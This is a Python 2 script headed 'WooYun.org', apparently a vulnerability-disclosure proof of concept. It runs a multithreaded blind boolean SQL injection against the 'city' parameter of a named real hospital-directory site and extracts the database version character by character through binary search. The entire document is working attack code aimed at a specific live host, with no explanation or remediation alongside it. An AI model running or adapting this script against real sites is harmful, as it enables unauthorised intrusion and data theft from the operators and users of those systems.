WooYun.org

#coding=utf-8
import sys,urllib2
import threading
from multiprocessing.dummy import Pool
from multiprocessing.dummy import Lock
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
def request(URL):
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) 
Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, None, user_agent)
        
    try:
        request = urllib2.urlopen(req)
        
    except HTTPError, e:
        if e.code == 500:
            return 'Runtime Error'
        
    except URLError, e:
        print('[!] We failed to reach a server.')
        print('[!] Reason: ' + str(e.reason))
        sys.exit(1)
        
    return request.read()
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if mid == left:
            lock.acquire()
            result[index-1]= chr(mid)
            sys.stdout.write('\r%s' % '@@version: '+''.join(result))
            sys.stdout.flush()
            lock.release()
            break
        payload = "sich%%27%%2b(case%%20when%%20(ascii(substring(@@version,%s,1))<%s)%%20then%%20%%27uan%%27%%20else%%20%
%27xxoo%%27%%20end)%%2b%%27" % (index, mid)
        html = request('http://yyk.xcp.39.net/default/area/?city='+payload) 
        verify = '四川省医院'.decode('utf-8').encode('gbk')
        if verify in html:
            right = mid
        else:
            left = mid
def multi_run_wrapper(args):
    return binary_sqli(*args)
                   
if __name__ == '__main__':
    result=list('*'*50)
    lock=Lock()
    args = []
    for i in range(1,50):
        args.append((32, 127, i))
    pool = Pool(20)
    out = pool.map(multi_run_wrapper, args)
    pool.close() 
    pool.join()